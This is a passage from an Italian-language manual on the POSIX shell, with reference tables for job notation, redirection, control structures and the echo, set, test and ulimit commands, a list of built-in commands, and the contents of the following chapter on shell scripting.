%?*stringa*	Il simbolo '`%`' seguito da '`?`' e da una stringa fa riferimento a un gruppo di elaborazione con una riga di comando contenente quella stringa. Se esiste più di un gruppo di elaborazione del genere si ottiene una segnalazione di errore.
%% %+	Le notazioni '`%%`' o '`%+`' fanno riferimento al gruppo di elaborazione corrente dal punto di vista della shell, il quale corrisponde all'ultimo a essere stato sospeso quando questo si trovava a funzionare in primo piano.
%-	La notazione '`%-`' fa riferimento al penultimo gruppo di elaborazione sospeso. Utilizzando i comandi '`bg`' e '`fg`', in mancanza di un riferimento esplicito al gruppo di elaborazione, viene preso in considerazione quello «corrente» dal punto di vista della shell.

19.7.6 Ridirezione

Tabella 19.22. Sintassi per la ridirezione.

Sintassi	Descrizione
[*n*] < *file*	La ridirezione dell'input fa sì che il file il cui nome risulta dall'espansione della parola alla destra del simbolo '`<`' venga letto e inviato al descrittore di file ***n***, oppure, se non indicato, allo standard input pari al descrittore di file zero.

Sintassi	Descrizione
[*n*] > *file*	La ridirezione dell'output fa sì che il file il cui nome risulta dall'espansione della parola alla destra del simbolo '**>**' venga aperto in scrittura per ricevere quanto proveniente dal descrittore di file ***n***, oppure, se non indicato, dallo standard output pari al descrittore di file numero uno. Di solito, se il file da aprire in scrittura esiste già, viene sovrascritto.
[*n*] >> *file*	La ridirezione dell'output fatta in questo modo fa sì che se il file da aprire in scrittura esiste già, questo non sia sovrascritto, ma gli siano semplicemente aggiunti i dati.
<< [-] ***parola_di_delimitazione*** ***testo*** ... ***parola_di_delimitazione***	Si tratta di un tipo di ridirezione particolare e poco usato. Istruisce la shell di leggere le righe successive fino a quando viene incontrata la parola indicata (senza spazi iniziali); successivamente invia quanto accumulato in questo modo allo standard input del comando indicato. In pratica, la parola indica la fine della fase di lettura. Non è possibile fare giungere l'input da una fonte diversa. Se la parola viene racchiusa tra virgolette, quelle usate per la protezione delle stringhe, si intende che il testo contenuto non deve essere espanso. Altrimenti, il testo viene espanso come di consueto. Se si usa il trattino ('**<<-**'), significa che le tabulazioni iniziali nel testo vengono eliminate.
[*n*] <&***m***	In questo modo si unisce il descrittore ***m*** al descrittore ***n*** di ingresso oppure, in mancanza dell'indicazione di ***n***, si unisce allo standard input.
[*n*] <&-	Chiude il descrittore ***n*** oppure, in mancanza dell'indicazione di ***n***, chiude lo standard input.
[*n*] >&***m***	In questo modo si unisce il descrittore ***n*** al descrittore ***m*** di uscita oppure, in mancanza dell'indicazione di ***n***, si unisce lo standard output.
[*n*] >&-	Chiude il descrittore ***n*** oppure, in mancanza dell'indicazione di ***n***, chiude lo standard output.
[*n*] <> *file*	In questo modo si apre il file indicato in lettura e scrittura, collegando i due flussi al descrittore ***n***. Se questo descrittore non è specificato si intende l'utilizzo di entrambi standard input e standard output.

19.7.7 Strutture di controllo

Sintassi	Descrizione
for ***variabile*** [in ***valore***...] do ***lista_di_comandi*** done	La variabile indicata dopo '**for**' viene posta, di volta in volta, al valore di ciascun elemento della lista che segue la sigla '**in**', eseguendo ogni volta la lista di comandi che segue '**do**' (una volta per ogni valore disponibile). Se la sigla '**in**' (e i suoi argomenti) viene omessa, il comando '**for**' esegue la lista di comandi ('**do**') una volta per ogni parametro posizionale esistente. In pratica è come se venisse usato: '**in $@**'.

Sintassi	Descrizione

`case` ***parola*** `in`
[***modello*** [`|` ***modello***]... `)` ↩
↪***lista_di_comandi*** `;;`]
...
[`*)` ***lista_di_comandi*** `;;`]
`esac`
	La parola che segue '**`case`**' viene confrontata con ognuno dei modelli, usando le stesse regole dell'espansione di percorso (i nomi dei file). La barra verticale ('**`|`**') viene usata per separare i modelli quando questi rappresentano possibilità diverse di un'unica scelta.
	Quando viene trovata una corrispondenza, viene eseguita la lista di comandi corrispondente. Dopo il primo confronto riuscito, non ne vengono controllati altri dei successivi. L'ultimo modello può essere '**`*)`**', corrispondente a qualunque valore, che si può usare come alternativa finale in mancanza di altro.

`if` ***lista_condizione***
`then`
lista_di_comandi
[`elif` ***lista_condizione***
`then`
lista_di_comandi]
...
[`else`
lista_di_comandi]
`fi`
	Inizialmente viene eseguita la lista che segue '**`if`**' che costituisce la condizione. Se il valore restituito da questa lista è zero (cioè *Vero*), allora viene eseguita la lista seguente '**`then`**' e il comando termina. Altrimenti viene eseguita ogni '**`elif`**' in sequenza, fino a che ne viene trovata una la cui condizione si verifica. Se nessuna condizione si verifica, viene eseguita la lista che segue '**`else`**', sempre che esista.

`while` ***lista_condizione***
`do`
lista_di_comandi
`done`
	Il comando '**`while`**' esegue ripetitivamente la lista che segue '**`do`**' finché la lista che rappresenta la condizione continua a restituire il valore zero (*Vero*).

`until` ***lista_condizione***
`do`
lista_di_comandi
`done`
	Il comando '**`until`**' è analogo a '**`while`**', cambia solo l'interpretazione della lista che rappresenta la condizione nel senso che il risultato di questa viene invertito (negazione logica). In generale, per avere maggiori garanzie di compatibilità conviene utilizzare solo il comando '**`while`**', invertendo opportunamente la condizione.

[`function`] ***nome*** `() {` ***lista_di_comandi*** `}`	La lista di comandi viene eseguita ogni volta che il nome della funzione è utilizzato come comando. Quando viene eseguita una funzione, i parametri posizionali contengono gli argomenti di questa funzione e anche **#** restituisce un valore corrispondente alla situazione. È possibile utilizzare il comando interno '**`return`**' per concludere anticipatamente l'esecuzione della funzione.

19.7.8 Comando «echo»

Comando	Descrizione
`echo [-n] [`*argomento*...`]`	Emette gli argomenti separati da uno spazio. Restituisce sempre il valore zero. '**`echo`**' riconosce alcune sequenze di escape che possono essere utili per comporre il testo da visualizzare. L'opzione '**`-n`**' consente di impedire che alla fine del testo visualizzato sia inserito il codice di interruzione di riga finale, in modo che il testo emesso successivamente prosegua di seguito. Si osservi che la shell Bash non riconosce le sequenze di escape se non si aggiunge espressamente l'opzione '**`-e`**', oppure si abilita l'opzione '**`xpg_echo`**' con il comando: '**`shopt -s xpg_echo`**'.

Tabella 19.48. Alcune sequenze di escape che possono essere riconosciute dal comando '**`echo`**'.

Codice	Descrizione
`\\`	Inserisce la barra obliqua inversa ('**`\`**').
`\a`	Inserisce il codice <*BEL*> (avvisatore acustico).
`\b`	Inserisce il codice <*BS*> (*backspace*).
`\c`	Alla fine di una stringa previene l'inserimento di una nuova riga.
`\f`	Inserisce il codice <*FF*> (*formfeed*).
`\n`	Inserisce il codice <*LF*> (*linefeed*).
`\r`	Inserisce il codice <*CR*> (*carriage return*).
`\t`	Inserisce una tabulazione normale (<*HT*>).
`\v`	Inserisce una tabulazione verticale (<*VT*>).
`\0`***n***	Inserisce il carattere corrispondente al codice ottale ***n***.

19.7.9 Comando «set»

Comando	Descrizione
`set [{-|+}`***x***`]`... `set {-|+}o [`***modalità***`]` `set` ***valore_param_1*** ↩ ↪ `[`***valore_param_2***...`]` `set -- [`***valore_param_1*** ↩ ↪ `[`***valore_param_2***...`] ]`	Questo comando, se usato senza argomenti, emette l'impostazione generale della shell, nel senso che vengono visualizzate tutte le variabili di ambiente e le funzioni. Se si indicano degli argomenti si intendono alterare alcune modalità (opzioni) legate al funzionamento della shell.

Alcune modalità, che potrebbero essere riconosciute dalla maggior parte delle shell POSIX:

Modalità	Descrizione
`{-|+}a` `{-|+}o allexport`	Le variabili che vengono modificate o create, sono marcate automaticamente per l'esportazione verso l'ambiente per i comandi avviati dalla shell.
`{-|+}b` `{-|+}o notify`	Fa in modo che venga riportato immediatamente lo stato di un gruppo di elaborazione (*job*) sullo sfondo che termina. Altrimenti, questa informazione viene emessa subito prima dell'invito primario successivo.
`{-|+}e` `{-|+}o errexit`	Termina immediatamente se un comando qualunque conclude la sua esecuzione restituendo uno stato diverso da zero. La shell non esce se il comando che fallisce è parte di un ciclo '**`until`**' o '**`while`**', di un'istruzione '**`if`**', di una lista '**`&&`**' o '**`||`**', o se il valore restituito dal comando è stato invertito per mezzo di '**`!`**'.
`{-|+}f` `{-|+}o noglob`	Disabilita l'espansione di percorso (quello che riguarda i caratteri jolly, o metacaratteri, nei nomi di file e directory).
`{-|+}m` `{-|+}o monitor`	Abilita il controllo dei gruppi di elaborazione. Questa modalità è attiva in modo predefinito per le shell interattive.
`{-|+}n` `{-|+}o noexec`	Legge i comandi, ma non li esegue. Ciò può essere usato per controllare gli errori di sintassi di uno script di shell. Questo valore viene ignorato dalle shell interattive.
`{-|+}u` `{-|+}o nounset`	Fa in modo che venga considerato un errore l'utilizzo di variabili non impostate (predisposte) quando si effettua l'espansione di una variabile (o di un parametro). In tal caso, quindi, la shell emette un messaggio di errore e, se il funzionamento non è interattivo, termina restituendo un valore diverso da zero.
`{-|+}v` `{-|+}o verbose`	Emette le righe inserite nella shell appena queste vengono lette.
`{-|+}x` `{-|+}o xtrace`	Nel momento in cui si eseguono dei comandi, viene emesso il comando stesso attraverso lo standard output preceduto da quanto contenuto nella variabile ***PS4***.
`{-|+}C` `{-|+}o noclobber`	Disabilita la sovrascrittura dei file preesistenti a seguito di una ridirezione dell'output attraverso l'uso degli operatori '**`>`**', '**`>&`**' e '**`<>`**'. Questa impostazione può essere scavalcata (in modo da riscrivere i file) utilizzando l'operatore di ridirezione '**`>|`**' al posto di '**`>`**'. In generale sarebbe meglio evitare di intervenire in questo modo, dal momento che ciò non è conforme all'utilizzo normale.

19.7.10 Comando «test»

Comando	Descrizione
`test` ***espressione_condizionale*** `[` ***espressione_condizionale*** `]`	Risolve (valuta) l'espressione indicata (la seconda forma utilizza semplicemente un'espressione racchiusa tra parentesi quadre). Il valore restituito può essere *Vero* (corrispondente a zero) o *Falso* (corrispondente a uno) ed è pari al risultato della valutazione dell'espressione. Le espressioni possono essere unarie o binarie. Le espressioni unarie sono usate spesso per esaminare lo stato di un file. Vi sono operatori su stringa e anche operatori di comparazione numerica. Ogni operatore e operando deve essere un argomento separato. Se si usa la forma tra parentesi quadre, è indispensabile che queste siano spaziate dall'espressione da valutare.

Tabella 19.49. Espressioni per il comando '**`test`**'.

Espressione	Descrizione
`-e` ***file***	*Vero* se il file esiste ed è di qualunque tipo.
`-b` ***file***	*Vero* se il file esiste ed è un dispositivo a blocchi.
`-c` ***file***	*Vero* se il file esiste ed è un dispositivo a caratteri.
`-d` ***file***	*Vero* se il file esiste ed è una directory.
`-f` ***file***	*Vero* se il file esiste ed è un file normale.
`-h` ***file***	*Vero* se il file esiste ed è un collegamento simbolico.
`-p` ***file***	*Vero* se il file esiste ed è un file FIFO (*pipe* con nome).
`-S` ***file***	*Vero* se il file esiste ed è un *socket* (socket di dominio Unix).
`-t` ***descrittore***	*Vero* se lo standard output è aperto su un terminale.
`-g` ***file***	*Vero* se il file esiste ed è impostato il suo bit SGID.
`-u` ***file***	*Vero* se il file esiste ed è impostato il suo bit SUID.
`-k` ***file***	*Vero* se il file ha il bit Sticky attivo.
`-r` ***file***	*Vero* se il file esiste ed è leggibile.
`-w` ***file***	*Vero* se il file esiste ed è scrivibile.
`-x` ***file***	*Vero* se il file esiste e dispone del permesso di esecuzione, oppure se la directory esiste e c'è il permesso di attraversamento.
`-O` ***file***	*Vero* se il file esiste e appartiene all'UID efficace dell'utente attuale.
`-G` ***file***	*Vero* se il file esiste e appartiene al GID efficace dell'utente attuale.

Espressione	Descrizione
`-s` ***file***	*Vero* se il file esiste e ha una dimensione maggiore di zero.
file1 `-nt` ***file2***	*Vero* se il primo file ha la data di modifica più recente.
file1 `-ot` ***file2***	*Vero* se il primo file ha la data di modifica più vecchia.
file1 `-et` ***file2***	*Vero* se i due nomi corrispondono allo stesso inode.
stringa	*Vero* se la stringa è diversa dalla stringa nulla.
`-z` ***stringa***	*Vero* se la lunghezza della stringa è zero.
`-n` ***stringa***	*Vero* se la lunghezza della stringa è diversa da zero.
stringa1 `=` ***stringa2***	*Vero* se le stringhe sono uguali.
stringa1 `!=` ***stringa2***	*Vero* se le stringhe sono diverse.
stringa1 `<` ***stringa2***	*Vero* se la prima stringa è lessicograficamente precedente.
stringa1 `>` ***stringa2***	*Vero* se la prima stringa è lessicograficamente successiva.
op1 `-eq` ***op2***	*Vero* se gli operandi hanno valori numerici uguali.
op1 `-ne` ***op2***	*Vero* se gli operandi hanno valori numerici differenti.
op1 `-lt` ***op2***	*Vero* se il primo operando ha un valore numerico inferiore al secondo.
op1 `-le` ***op2***	*Vero* se il primo operando ha un valore numerico inferiore o uguale al secondo.
op1 `-gt` ***op2***	*Vero* se il primo operando ha un valore numerico maggiore del secondo.
op1 `-ge` ***op2***	*Vero* se il primo operando ha un valore numerico maggiore o uguale al secondo.
`!` ***espressione***	Inverte il risultato logico dell'espressione.
espressione `-a` ***espressione***	*Vero* se entrambe le espressioni danno un risultato *Vero*.
espressione `-o` ***espressione***	*Vero* se almeno un'espressione dà un risultato *Vero*.
`(`***espressione***`)`	*Vero* se il risultato dell'espressione è *Vero*.

19.7.11 Comando «ulimit»

Comando	Descrizione
`ulimit` [*opzioni*] [*limite*]	Fornisce il controllo sulle risorse disponibili per la shell e per i processi avviati da questa, sui sistemi che permettono un tale controllo. Il valore del limite può essere un numero nell'unità specificata per la risorsa, o il valore '**`unlimited`**'. Se l'indicazione dell'entità del limite viene omessa, si ottiene l'informazione del valore corrente. Quando viene specificata più di una risorsa, il nome del limite e l'unità vengono emessi prima del valore. Il controllo pratico dei limiti impostati in questo modo dipende dal sistema operativo, che potrebbe anche ignorarne alcuni, per carenze realizzative nelle funzioni che dovrebbero attuare questi compiti. Se il limite viene espresso, questo diventa il nuovo valore per la risorsa specificata. Se non viene espressa alcuna opzione, si assume normalmente '**`-f`**'. I valori, a seconda dei casi, sono espressi in multipli di 1024 byte, o in «blocchi» da 512 byte, tranne per '**`-t`**' che è riferito a secondi e '**`-n`**' che rappresenta una quantità precisa. Il valore restituito è zero se non vengono commessi errori.

Tabella 19.50. Opzioni per l'uso del comando '**`ulimit`**'.

Opzione	Descrizione
`-H`	Viene impostato il limite fisico (*hard*) per la data risorsa. Un limite fisico non può essere aumentato una volta che è stato impostato. Se non viene specificata questa opzione, si intende l'opzione '**`-S`**' in modo predefinito.
`-S`	Viene impostato il limite logico (*soft*) per la data risorsa. Un limite logico può essere aumentato fino al valore del limite fisico. Questa opzione è predefinita se non viene specificata l'opzione '**`-H`**'.
`-a`	Sono riportati tutti i limiti correnti.
`-c`	La grandezza massima dei file '`core`' creati, espressa in blocchi che dovrebbero essere di 512 byte.
`-d`	La grandezza massima del segmento dati di un processo, in multipli di 1024 byte.
`-f`	La grandezza massima dei file creati dalla shell, espressa in blocchi che dovrebbero essere di 512 byte.
`-m`	La grandezza massima della memoria occupata, in multipli di 1024 byte.
`-s`	La grandezza massima della pila del processo (*stack*), in multipli di 1024 byte.
`-t`	Il massimo quantitativo di tempo di CPU in secondi.
`-n`	Il numero massimo di descrittori di file aperti (la maggior parte dei sistemi non permette che questo valore sia impostato, consentendo solo la sua lettura).

19.7.12 Altri comandi interni

Tabella 19.47. Descrizione sintetica di alcuni comandi interni di una shell POSIX.

Comando	Descrizione
`:` [*argomenti*]	Comando nullo. Ciò che inizia con il simbolo '`:`' non viene eseguito. Si ottiene solo l'espansione degli argomenti e l'esecuzione della ridirezione. Il valore restituito alla fine è sempre zero.
`.` *file_script*	Vengono letti ed eseguito il contenuto del file indicato, il quale è sufficiente sia leggibile. Se il nome del file non fa riferimento a un percorso, questo viene cercato all'interno dei vari percorsi elencati dalla variabile ***PATH*** (ci sono shell che cercano il file anche nella directory corrente). Il valore restituito dallo script è: quello dell'ultimo comando eseguito al suo interno; zero (*Vero*) se non vengono eseguiti comandi; *Falso* (un valore diverso da zero) se il file non è stato trovato.
`alias` [*nome* [=*valore*]]...	Il comando '**`alias`**' permette di definire un alias, oppure di leggere il contenuto di un alias particolare, o di elencare tutti gli alias esistenti. Se viene utilizzato senza argomenti, emette attraverso lo standard output la lista degli alias nella forma '***nome*=*valore***'. Se viene indicato solo il nome di un alias, ne viene emesso il nome e il contenuto. Se si utilizza la sintassi completa si crea un alias nuovo. La coppia '***nome*=*valore***' deve essere scritta senza lasciare spazi prima e dopo del segno di uguaglianza ('**`=`**'). Il comando '**`alias`**' restituisce il valore *Falso* quando è stato indicato un alias inesistente senza valore da assegnare, negli altri casi restituisce *Vero*.
`bg` [*specificazione_del_job*]	Mette sullo sfondo il gruppo di elaborazione (*job*) indicato, come se fosse stato avviato aggiungendo il simbolo e-commerciale ('**`&`**') alla fine. Se non viene specificato il gruppo di elaborazione, viene messo sullo sfondo quello corrente, dal punto di vista della shell. Se l'operazione riesce, il valore restituito è zero.
`break` [*n*]	Interrompe un ciclo '**`for`**', '**`while`**' o '**`until`**'. Se viene specificato il valore numerico ***n***, l'interruzione riguarda ***n*** livelli. Il valore ***n*** deve essere maggiore o uguale a uno. Se ***n*** è maggiore dei cicli annidati in funzione, vengono semplicemente interrotti tutti. Il valore restituito è zero purché ci sia un ciclo da interrompere.
`cd` [*directory*]	Cambia la directory corrente. Se non viene specificata la destinazione, si intende la directory contenuta nella variabile ***HOME*** (che di solito corrisponde alla directory personale dell'utente). Il funzionamento di questo comando può essere alterato dal contenuto della variabile ***CDPATH*** che può indicare dei percorsi di ricerca per la directory su cui ci si vuole spostare. Di norma, la variabile ***CDPATH*** è opportunamente vuota, in modo da fare riferimento semplicemente alla directory corrente.
`command` *comando* [*argomento*...]	Esegue un «comando» con degli argomenti eventuali. Il comando che si avvia può essere solo un comando interno oppure un programma, mentre sono escluse espressamente le funzioni.

Comando	Descrizione
continue [*n*]	Riprende, a partire dall'iterazione successiva, un ciclo '**for**', '**while**' o '**until**'. Se viene specificato il valore numerico ***n***, il salto riguarda ***n*** livelli. Il valore ***n*** deve essere maggiore o uguale a uno. Se ***n*** è maggiore dei cicli annidati in funzione, si fa riferimento al ciclo più esterno. Il valore restituito è zero, a meno che non ci sia alcun ciclo da riprendere.
echo [-n] [*argomento*...]	Emette gli argomenti separati da uno spazio. Restituisce sempre il valore zero. '**echo**' riconosce alcune sequenze di escape che possono essere utili per comporre il testo da visualizzare. Queste sono elencate nella tabella 19.48. L'opzione '**-n**' (non prevista dallo standard, ma generalmente disponibile) consente di impedire che alla fine del testo visualizzato sia inserito il codice di interruzione di riga finale, in modo che il testo emesso successivamente prosegua di seguito. Si osservi che la shell Bash non riconosce le sequenze di escape se non si aggiunge espressamente l'opzione '**-e**', specifica di Bash, oppure si abilita l'opzione '**xpg_echo**' con il comando: '**shopt -s xpg_echo**'.
eval [*argomento*...]	Esegue gli argomenti come parte di un comando unico. Restituisce il valore restituito a sua volta dal comando rappresentato dagli argomenti. Se non vengono indicati argomenti, o se questi sono vuoti, restituisce *Vero*.
exec [*comando* [*argomenti*]]	Se viene specificato un comando (precisamente deve essere un programma), questo viene eseguito rimpiazzando la shell, in modo da non generare un nuovo processo ulteriore. Se sono stati indicati degli argomenti, questi vengono passati regolarmente al comando. Il fatto di rimpiazzare la shell implica che, al termine dell'esecuzione del programma, non c'è più la shell. Se si utilizza questo comando da una finestra di terminale, questa potrebbe chiudersi semplicemente, oppure, se si tratta di una shell di *login* potrebbe essere riavviata la procedura di accesso.
exit [*n*]	Termina l'esecuzione della shell restituendo il valore ***n***. Se viene omessa l'indicazione esplicita del valore da restituire, viene utilizzato quello dell'ultimo comando eseguito.
export *nome*...	Le variabili elencate vengono segnate per l'esportazione, nel senso che vengono trasferite all'ambiente dei programmi eseguiti successivamente all'interno della shell stessa.
fg [*job*]	Pone il gruppo di elaborazione (*job*) indicato in primo piano, ovvero in *foreground*. Se non viene specificato il gruppo di elaborazione, si intende quello attuale, ovvero, l'ultimo a essere stato messo sullo sfondo (*background*).
getopts *stringa_di_opzioni* ↩ ↪*nome_di_variabile* [*argomenti*]	Il comando interno '**getopts**' serve per facilitare la realizzazione di script in cui si devono analizzare le opzioni della riga di comando. Ogni volta che viene chiamato, '**getopts**' analizza l'argomento successivo nella riga di comando, restituendo le informazioni relative attraverso delle variabili di ambiente. Per la precisione, '**getopts**' analizza gli argomenti finali della sua stessa riga di comando (quelli che sono stati indicati nello schema sintattico come un elemento facoltativo) e in mancanza di questi utilizza il contenuto del parametro @. L'utilizzo di '**getopts**' può risultare complesso, pertanto viene descritto meglio in una sezione apposita.

Comando	Descrizione
`hash [-r] [comando...]`	Per ciascun comando indicato, viene determinato e memorizzato il percorso assoluto. Se non viene dato alcun argomento, si ottiene l'elenco dei comandi memorizzati. Se si usa l'opzione '**-r**' si cancellano i percorsi memorizzati.
`jobs [job...]`	Elenca i gruppi di elaborazione attivi. Se viene indicato esplicitamente un gruppo di elaborazione, l'elenco risultante è ristretto alle sole informazioni sullo stesso.
`kill [-s segnale] pid|job...` `kill -l [numero_del_segnale]`	Invia il segnale indicato al processo corrispondente al numero del PID o del gruppo di elaborazione (*job*). Il segnale viene definito attraverso un nome, come per esempio '**KILL**' (senza il prefisso '**SIG**'), o un numero di segnale. Spesso viene tollerata l'assenza dell'indicazione del segnale, ma in tal caso si intende '**TERM**'. Un argomento '**-l**' elenca i nomi dei segnali.
`local [nome [=valore] ]`	All'interno di una funzione, dichiara una variabile con un campo di azione limitato alla funzione stessa. Il comando non è previsto dallo standard POSIX ma è diffuso tra le shell che sono comunque aderenti allo standard.
`pwd [-P]`	Emette il percorso assoluto della directory corrente. Se viene usata l'opzione '**-P**', i percorsi che utilizzano collegamenti simbolici vengono tradotti in percorsi reali. Restituisce zero se non si verifica alcun errore mentre si legge il percorso della directory corrente.
`read [-p prompt] variabile...`	Viene letta una riga dallo standard input, assegnando la prima parola di questa riga alla prima variabile indicata come argomento, assegnando la seconda parola alla seconda variabile e così via. All'ultima variabile indicata nella riga di comando viene assegnata la parte restante della riga dello standard input che non sia stata attribuita diversamente. Per determinare la separazione in parole della riga dello standard input si utilizzano i caratteri contenuti nella variabile ***IFS***. L'opzione '**-p**' permette di definire un invito particolare. Questo viene visualizzato solo se l'input proviene da un terminale.
`readonly [variabile [=valore] ...]` `readonly -p`	Le variabili indicate vengono marcate per la sola lettura e i valori di queste non possono essere cambiati dagli assegnamenti successivi. Se viene indicata l'opzione '**-p**', si ottiene una lista di tutti i nomi a sola lettura.
`return [n]`	Termina l'esecuzione di una funzione restituendo il valore ***n***. Se viene omessa l'indicazione di questo valore, la funzione che termina restituisce il valore restituito a sua volta dall'ultimo comando eseguito al suo interno. Se il comando '**return**' viene utilizzato al di fuori di una funzione, ma sempre all'interno di uno script, termina l'esecuzione dello script stesso.

`set [{-|+}x]...`
`set {-|+}o [modalità]`
`set valore_param_1 ↩`
`↪[valore_param_2...]`
`set -- [valore_param_1 ↩`
`↪[valore_param_2...] ]`
	Questo comando, se usato senza argomenti, emette l'impostazione generale della shell, nel senso che vengono visualizzate tutte le variabili di ambiente e le funzioni. Se si indicano degli argomenti si intendono alterare alcune modalità (opzioni) legate al funzionamento della shell.
	Dal momento che si tratta di un comando molto complesso, il suo utilizzo viene descritto in una sezione apposita.

Comando	Descrizione
`shift [n]`	I parametri posizionali da ***n***+1 in avanti sono spostati a partire dal primo in poi (il parametro zero non viene coinvolto). Se ***n*** è 0, nessun parametro viene cambiato. Se ***n*** non è indicato, il suo valore predefinito è uno. Il valore di ***n*** deve essere un numero non negativo minore o uguale al parametro **#** (cioè al numero di parametri posizionali esistenti). Se ***n*** è più grande del parametro **#**, i parametri posizionali non vengono modificati. Restituisce *Falso* se ***n*** è più grande del parametro **#** o minore di zero; altrimenti restituisce *Vero*.
`test` ***espressione_condizionale*** `[` ***espressione_condizionale*** `]`	Risolve (valuta) l'espressione indicata (la seconda forma utilizza semplicemente un'espressione racchiusa tra parentesi quadre). Il valore restituito può essere *Vero* (corrispondente a zero) o *Falso* (corrispondente a uno) ed è pari al risultato della valutazione dell'espressione. Le espressioni possono essere unarie o binarie. Le espressioni unarie sono usate spesso per esaminare lo stato di un file. Vi sono operatori su stringa e anche operatori di comparazione numerica. Ogni operatore e operando deve essere un argomento separato. Se si usa la forma tra parentesi quadre, è indispensabile che queste siano spaziate dall'espressione da valutare. Nella tabella 19.49 vengono elencate le espressioni elementari che possono essere utilizzate in questo modo. Non si tratta necessariamente di un comando interno.
`times`	Emette i tempi di utilizzo accumulati.
`trap` [***argomento segnale***...]	Il comando espresso nell'argomento deve essere letto ed eseguito quando la shell riceve il segnale, o i segnali indicati. Se non viene fornito l'argomento, o viene indicato un trattino ('`-`') al suo posto, tutti i segnali specificati sono riportati al loro valore originale (i valori che avevano al momento dell'ingresso nella shell). Se l'argomento fornito corrisponde a una stringa nulla, questo segnale viene ignorato dalla shell e dai comandi che questo avvia. Se il segnale è '**`EXIT`**', pari a zero, il comando contenuto nell'argomento viene eseguito all'uscita della shell. Se viene utilizzato senza argomenti, '**`trap`**' emette la lista di comandi associati con ciascun numero di segnale. I segnali intercettati sono riportati al loro valore originale in un processo discendente quando questo viene creato.
`true`	Si tratta di un comando nullo che restituisce zero, pari a *Vero*.
`type` ***nome***...	Determina le caratteristiche di uno o più comandi indicati come argomento. Restituisce *Vero* se uno qualsiasi degli argomenti viene trovato, *Falso* se non ne viene trovato alcuno.

Comando	Descrizione
`ulimit` [*opzioni*] [*limite*]	Fornisce il controllo sulle risorse disponibili per la shell e per i processi avviati da questa, sui sistemi che permettono un tale controllo. Il valore del limite può essere un numero nell'unità specificata per la risorsa, o il valore '**`unlimited`**'. Se l'indicazione dell'entità del limite viene omessa, si ottiene l'informazione del valore corrente. Quando viene specificata più di una risorsa, il nome del limite e l'unità vengono emessi prima del valore. Il controllo pratico dei limiti impostati in questo modo dipende dal sistema operativo, il quale potrebbe anche ignorarne alcuni, per carenze realizzative nelle funzioni che dovrebbero attuare questi compiti. Se il limite viene espresso, questo diventa il nuovo valore per la risorsa specificata. Se non viene indicata alcuna opzione, si assume normalmente '**`-f`**' (l'unica a essere prevista dallo standard POSIX). I valori, a seconda dei casi, sono espressi in multipli di 1024 byte, o in «blocchi» da 512 byte, tranne per '**`-t`**' che è riferito a secondi e '**`-n`**' che rappresenta una quantità precisa. Il valore restituito è zero se non vengono commessi errori. La tabella 19.50 riepiloga le opzioni e i limiti più comuni che possono essere impostati con '**`ulimit`**'.
`umask` [*modalità*]	La maschera dei permessi per la creazione dei file dell'utente viene modificata in modo da farla coincidere con la modalità indicata. Generalmente può essere inserita la modalità soltanto in forma di numero ottale. Se la modalità viene omessa si ottiene il valore corrente della maschera.
`unalias` ***nome_di_alias***... `unalias -a`	Rimuove l'alias indicato dalla lista degli alias definiti. Se viene fornita l'opzione '**`-a`**', sono rimosse tutte le definizioni di alias.
`unset` [`-v`] ***nome_variabile***... `unset -f` ***nome_funzione***...	Vengono rimosse le variabili o le funzioni indicate. Se viene utilizzata l'opzione '**`-f`**', si fa riferimento espressamente a funzioni; se si indica l'opzione '**`-v`**' ci si riferisce espressamente a variabili. Se non si indicano opzioni e ci può essere ambiguità tra i nomi, vengono rimosse le variabili.
`wait` [***n***]	Attende la conclusione del processo specificato e restituisce il suo valore di uscita. Il numero ***n*** può essere un PID o un gruppo di elaborazione (*job*); se viene indicato un gruppo di elaborazione, si attende la conclusione di tutti i processi nel condotto relativo. Se ***n*** non viene indicato, si aspetta la conclusione di tutti i processi discendenti ancora attivi, restituendo il valore zero. Se ***n*** specifica un processo o un gruppo di elaborazione che non esiste, viene restituito il valore *Falso*, altrimenti il valore restituito è lo stesso dell'ultimo processo o gruppo di elaborazione di cui si è attesa la conclusione.

19.8 Riferimenti

- Mendel Cooper, *Advanced Bash-Scripting Guide*, *Appendix I. Localization*
  ⟨*http://www.tldp.org/LDP/abs/html/localization.html* ⟩

[1] **Bash** GNU GPL

[2] **Ash** UCB BSD

[3] Trattandosi di un «registro storico», l'abbreviazione del termine al solo aggettivo, viene fatta al maschile: «storico».

[4] *Vero* inteso come conclusione corretta del comando; *Falso* inteso come fallimento, parziale o totale del comando. Quando un comando termina senza un successo totale del tuo compito, il valore restituito serve a comunicare il tipo di problema che si è verificato; per questa ragione, dal momento che nei sistemi Unix può esistere un solo esito soddisfacente e tanti tipi di esito insoddisfacente, è corretto che lo zero sia stato associato al successo. Di conseguenza, per i fini della shell è bene ragionare in termini di zero=*Vero*, ma senza dimenticare che nell'algebra di Boole, vale il contrario.

[5] Per negazione logica si intende che zero viene commutato in uno, mentre un qualunque valore diverso da zero viene tramutato in zero.

[6] **Gettext** GNU GPL

[7] **Readline GNU** GNU GPL

[8] **Cle** GNU GPL

Capitolo 20

Script e affini

20.1 Eseguibili, interpretabili e automazione dell'interpretazione 926

20.1.1 Script 926
20.1.2 Programmi da interpretare che non sono script 927
20.1.3 Gestione del kernel dei binari eterogenei 927

20.2 Scansione di parole 930

20.2.1 Il ciclo «for» di una shell standard 930
20.2.2 Scansione con «xargs» 931

20.3 Scansione delle opzioni della riga di comando 935

20.3.1 Programma «getopt» 935
20.3.2 Il funzionamento di «getopt» nella versione dei programmi di servizio Linux 937

20.4 File temporanei 940

20.5 Ambiente 940

20.6 Interazione con l'utente 942

20.6.1 Utilizzo di «echo» e di «printf» 942
20.6.2 Utilizzo di «read» 948
20.6.3 Utilizzo di «select» 948
20.6.4 Utilizzo di «yes» 950
20.6.5 Dialog e simili 951

20.7 Espressioni 957

20.7.1 Utilizzo di «false» e «true» 957
20.7.2 Utilizzo di «test» o di «[» 958
20.7.3 Utilizzo di «expr» 961

20.8 Ridirezione 963

20.8.1 Utilizzo di «tee» 964

20.9 Pause 964

20.9.1 Utilizzo di «sleep» 964

20.10 Raccolta di funzioni per una shell POSIX 965

20.10.1 Estrapola da «/etc/passwd» le righe di un certo intervallo di numeri UID 965
20.10.2 Estrapola da «/etc/passwd» le righe di un certo intervallo di numeri GID 965
20.10.3 Estrapola da «/etc/group» le righe di un certo intervallo di numeri GID . . 966
20.10.4 Seleziona un utente interattivamente 967

20.10.5 Seleziona un campo di una certa riga da un file come «/etc/passwd», «/etc/group» e simili 968
20.10.6 Aggiunge un utente Unix e Samba, simultaneamente 969
